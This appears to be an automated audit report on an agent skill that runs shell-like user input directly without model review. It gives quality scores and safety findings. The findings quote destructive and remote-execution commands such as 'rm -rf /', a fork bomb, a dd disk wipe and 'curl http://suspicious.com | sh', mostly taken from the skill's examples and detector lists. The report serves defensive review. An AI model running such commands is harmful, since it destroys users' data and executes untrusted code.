DF terminal-killer
Intelligent shell command detector and executor for OpenClaw. Automatically identifies terminal commands (system builtins, $PATH executables, history matches, command patterns) and executes directly without LLM overhead. Cross-platform support (macOS/Linux/Windows). Use when user input appears to be a shell command to skip AI processing and run immediately.
As a process F 35/100 · Will not run — References files that are not bundled: scripts/check-path.js, scripts/check-history.js, scripts/score-command.js
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- The text references files that are not there: add them or drop the references.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 14
-
high Dangerous commands
cmd-destructive-fsreferences/EXAMPLES.md:116Destructive filesystem command (wipes root/home/drive) (test fixture / example file)rm -rf /
fixture -
high Dangerous commands
cmd-destructive-fsscripts/detect-command.js:30Destructive filesystem command (wipes root/home/drive) (string literal in code, not executed)':(){ :|:& };:',code literal
Medium and low: 12
-
medium Dangerous commands
cmd-pipe-to-shellREADME.md:290Downloads and executes remote code from an unrecognised host (pipe to shell) (quoted — discussed, not commanded)- `curl | sh` - 网络执行
quoted -
medium Dangerous commands
cmd-destructive-fs-scopedreferences/EXAMPLES.md:121Destructive command on a partition / current directory (normal in admin docs; verify the target) (test fixture / example file)dd if=/dev/zero of=/dev/sda
fixture -
medium Dangerous commands
cmd-destructive-fs-scopedreferences/EXAMPLES.md:122Destructive command on a partition / current directory (normal in admin docs; verify the target) (test fixture / example file)mkfs.ext4 /dev/sdb1
fixture -
medium Dangerous commands
cmd-pipe-to-shellreferences/EXAMPLES.md:126Downloads and executes remote code from an unrecognised host (pipe to shell) (test fixture / example file)curl http://suspicious.com | sh
fixture -
low Dangerous commands
cmd-privilegeREADME.md:289Privilege escalation / world-writable permissions (quoted — discussed, not commanded)- `chmod 777` - 权限修改
quoted -
low Dangerous commands
cmd-background-processreferences/builtins/linux.txt:124Starts a background / autostarted processdisown
-
low Dangerous commands
cmd-privilegereferences/EXAMPLES.md:118Privilege escalation / world-writable permissions (test fixture / example file)sudo rm -rf /var/log/*
fixture -
low Dangerous commands
cmd-privilegereferences/EXAMPLES.md:123Privilege escalation / world-writable permissions (test fixture / example file)chmod 777 /etc/passwd
fixture -
low Dangerous commands
cmd-pipe-to-shellreferences/TESTING.md:150Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; test fixture / example file)- [ ] Network download + execute detected (curl | sh)
detectorfixture -
low Dangerous commands
cmd-privilegescripts/detect-command.js:28Privilege escalation / world-writable permissions (string literal in code, not executed)'chmod 777',
code literal -
low Dangerous commands
cmd-privilegescripts/test-detector.js:43Privilege escalation / world-writable permissions (detector / deny-list definition; string literal in code, not executed; test fixture / example file){ input: 'sudo rm -rf /', expected: 'ASK', description: 'Dangerous sudo' },detectorcode literalfixture -
low Dangerous commands
cmd-privilegeSKILL.md:153Privilege escalation / world-writable permissions (negated — the text forbids it)- `dd`, `mkfs`, `chmod 777`
negated
Files scanned: 15. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
missing-refreference to a missing file: scripts/check-path.js - warning
missing-refreference to a missing file: scripts/check-history.js - warning
missing-refreference to a missing file: scripts/score-command.js - warning
missing-refreference to a missing file: scripts/safety-check.js - warning
missing-refreference to a missing file: references/builtins/<platform>.txt - note
frontmatter-keyunknown frontmatter key "contact"
Process rating: all ten parameters 35/100
- 0Tools and files. 5 referenced file(s) missing: scripts/check-path.js, scripts/check-history.js, scripts/score-command.js
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 1 mutating operations with no state check
- 100Steps. 67 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 2115 tokens
- 100Progress reporting. Reports progress
- medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
- low 12 top-level sections: this looks like several domains in one skill
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- -217 emoji in the instructions: noise for the model
- -32 of 6 scripts are never mentioned in SKILL.md
- +1No license
- +2Single-language instructions
- +3Description length 359: enough signal without eating the budget
- +4Structure: 35 headings
- +3Step-by-step instructions: 67 items
- +4Has examples (12 code blocks)
- +4Reference files are cited in the instructions (1 of 2)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 70.